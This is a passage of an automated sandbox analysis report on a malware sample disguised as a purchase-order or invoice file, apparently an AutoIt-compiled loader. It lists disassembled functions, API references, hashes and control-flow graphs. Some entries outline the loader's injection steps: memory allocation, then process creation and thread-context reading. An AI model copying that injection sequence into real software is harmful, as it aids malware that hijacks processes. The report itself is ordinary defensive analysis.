                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                            • String ID:
                                                                                            • API String ID: 3886058894-0
                                                                                            • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                            • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                            • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                            • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                            Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1546 401be0-401bf5 1547 401bfb-401c12 call 4013a0 1546->1547 1548 401cde-401ce3 1546->1548 1551 42a9a0-42a9b0 LoadStringW 1547->1551 1552 401c18-401c34 call 4021e0 1547->1552 1554 42a9bb-42a9c8 call 40df50 1551->1554 1557 401c3a-401c3e 1552->1557 1558 42a9cd-42a9ea call 40d3b0 call 437a81 1552->1558 1562 401c53-401cd9 call 4131f0 call 41326a call 411691 Shell_NotifyIconW call 402620 1554->1562 1557->1554 1560 401c44-401c4e call 40d3b0 1557->1560 1558->1562 1570 42a9f0-42aa04 call 40d3b0 call 437a81 1558->1570 1560->1562 1562->1548
                                                                                            APIs
                                                                                            • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • _memset.LIBCMT ref: 00401C62
                                                                                            • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                            • _wcscpy.LIBCMT ref: 00401CBD
                                                                                            • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                            • String ID: Line:
                                                                                            • API String ID: 1620655955-1585850449
                                                                                            • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                            • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                            • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                            • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                            Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1579 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                            APIs
                                                                                            • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                            • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                            • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                            • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$CreateShow
                                                                                            • String ID: AutoIt v3$edit
                                                                                            • API String ID: 1584632944-3779509399
                                                                                            • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                            • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                            • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                            • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                            Function 04059BF8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140fileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1580 4059bf8-4059d13 call 4057848 call 4059ae8 CreateFileW 1587 4059d15 1580->1587 1588 4059d1a-4059d2a 1580->1588 1589 4059dca-4059dcf 1587->1589 1591 4059d31-4059d4b VirtualAlloc 1588->1591 1592 4059d2c 1588->1592 1593 4059d4d 1591->1593 1594 4059d4f-4059d66 ReadFile 1591->1594 1592->1589 1593->1589 1595 4059d68 1594->1595 1596 4059d6a-4059da4 call 4059b28 call 4058ae8 1594->1596 1595->1589 1601 4059da6-4059dbb call 4059b78 1596->1601 1602 4059dc0-4059dc8 ExitProcess 1596->1602 1601->1602 1602->1589
                                                                                            APIs
                                                                                              • Part of subcall function 04059AE8: Sleep.KERNELBASE(000001F4), ref: 04059AF9
                                                                                            • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04059D09
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFileSleep
                                                                                            • String ID: BPCYN30UQG8X
                                                                                            • API String ID: 2694422964-1360119571
                                                                                            • Opcode ID: abe03d18c12d8ec5bb6ee9ed228dcc2a5878f877cb98b9b1e3413d352b1100a5
                                                                                            • Instruction ID: 30629babdac107b70663b86c127ee80ccbe9b76e41b7b401d01b94acd774369f
                                                                                            • Opcode Fuzzy Hash: abe03d18c12d8ec5bb6ee9ed228dcc2a5878f877cb98b9b1e3413d352b1100a5
                                                                                            • Instruction Fuzzy Hash: 17519171D14249EAEF10DBA4C814BEFBBB9EF45304F104199EA09BB2C0D7B91B44CBA5
                                                                                            Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __lock.LIBCMT ref: 00413AA6
                                                                                              • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                              • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                              • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                            • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                            • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                            • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                            • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                            • String ID:
                                                                                            • API String ID: 2714421763-0
                                                                                            • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                            • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                            • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                            • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                            Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                              • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                              • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                            • _strcat.LIBCMT ref: 0040F603
                                                                                              • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                              • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                            • String ID: HH
                                                                                            • API String ID: 1194219731-2761332787
                                                                                            • Opcode ID: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                            • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                            • Opcode Fuzzy Hash: ee47fd20779ff5886c3c730aa44a1efa7791f275b5868e90dcef310a8da63108
                                                                                            • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                            Function 04058AE8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateProcessW.KERNELBASE(?,00000000), ref: 040592A3
                                                                                            • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04059339
                                                                                            • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0405935B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                            • String ID:
                                                                                            • API String ID: 2438371351-0
                                                                                            • Opcode ID: a1064bca5dd4e59baeb4dd15c17425526c3ac906ac097e7eb484fd7342f8cad6
                                                                                            • Instruction ID: f743c2bd331e631a443eaa1ea556312ceddf0edb0e8681879a7dd5a05aa302d1
                                                                                            • Opcode Fuzzy Hash: a1064bca5dd4e59baeb4dd15c17425526c3ac906ac097e7eb484fd7342f8cad6
                                                                                            • Instruction Fuzzy Hash: 7A620B70A14218DBEB24DFA4C850BDEB376EF58300F1091A9D50DFB2A0E775AE85CB59
                                                                                            Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0040E202
                                                                                            • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: IconNotifyShell__memset
                                                                                            • String ID:
                                                                                            • API String ID: 928536360-0
                                                                                            • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                            • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                            • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                            • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                            Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                              • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                              • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                            • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                            • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                            • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                            • String ID:
                                                                                            • API String ID: 1411284514-0
                                                                                            • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                            • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                            • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                            • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                            Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                            • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                            • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                            • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                            Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                            • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                            • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseOpenQueryValue
                                                                                            • String ID:
                                                                                            • API String ID: 3677997916-0
                                                                                            • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                            • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                            • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                            • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                            Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _malloc.LIBCMT ref: 00435278
                                                                                              • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                              • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                              • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                            • _malloc.LIBCMT ref: 00435288
                                                                                            • _malloc.LIBCMT ref: 00435298
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _malloc$AllocateHeap
                                                                                            • String ID:
                                                                                            • API String ID: 680241177-0
                                                                                            • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                            • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                            • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                            • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                            Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 00401B71
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID: @EXITCODE
                                                                                            • API String ID: 580348202-3436989551
                                                                                            • Opcode ID: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                            • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                            • Opcode Fuzzy Hash: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                            • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                            Function 0040B380 Relevance: 3.3, APIs: 2, Instructions: 255COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClearVariant
                                                                                            • String ID:
                                                                                            • API String ID: 1473721057-0
                                                                                            • Opcode ID: 4e47f038e922e84c19ecab33a0164ae102939a21ade882e67390b57c38244a2e
                                                                                            • Instruction ID: 1f11e118333250ff1b1cce483c812f274274124743f71e781b8a547d9d3e43da
                                                                                            • Opcode Fuzzy Hash: 4e47f038e922e84c19ecab33a0164ae102939a21ade882e67390b57c38244a2e
                                                                                            • Instruction Fuzzy Hash: 35917E706042009FC714DF55D890A6AB7E5EF89318F14896FF849AB392D738EE41CB9E
                                                                                            Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
